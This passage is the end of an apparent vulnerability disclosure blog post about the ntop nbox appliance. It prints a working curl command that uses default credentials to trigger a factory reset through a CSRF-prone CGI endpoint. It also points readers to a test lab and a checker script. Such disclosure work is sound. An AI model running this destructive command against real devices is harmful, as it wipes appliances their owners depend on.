The last one is a CSRF that leaves the machine fried, by resetting the machine completely:
GET https://NTOP-BOX/ntop-bin/do_factory_reset.cgi

curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_factory_reset.cgi'


To make things easier, I created a Vagrantfile with provisioning so you can have your own nbox appliance and test my findings or give it a shot. There is more stuff to be found, trust me :)


And you can run the checker.sh to check for all the above attacks. Pull requests are welcome if you find more!



Screen Shot 2016-07-26 at 10.00.27.png





nodding.gif





(The issues were found originally in nbox 2.3 and confirmed in nbox 2.5)

Modules for metasploit and BeEF will come soon. I hope this time the issues are not just silently patched...

If you have any questions or feedback, hit me up in twitter (@javutin)!

Have a nice day!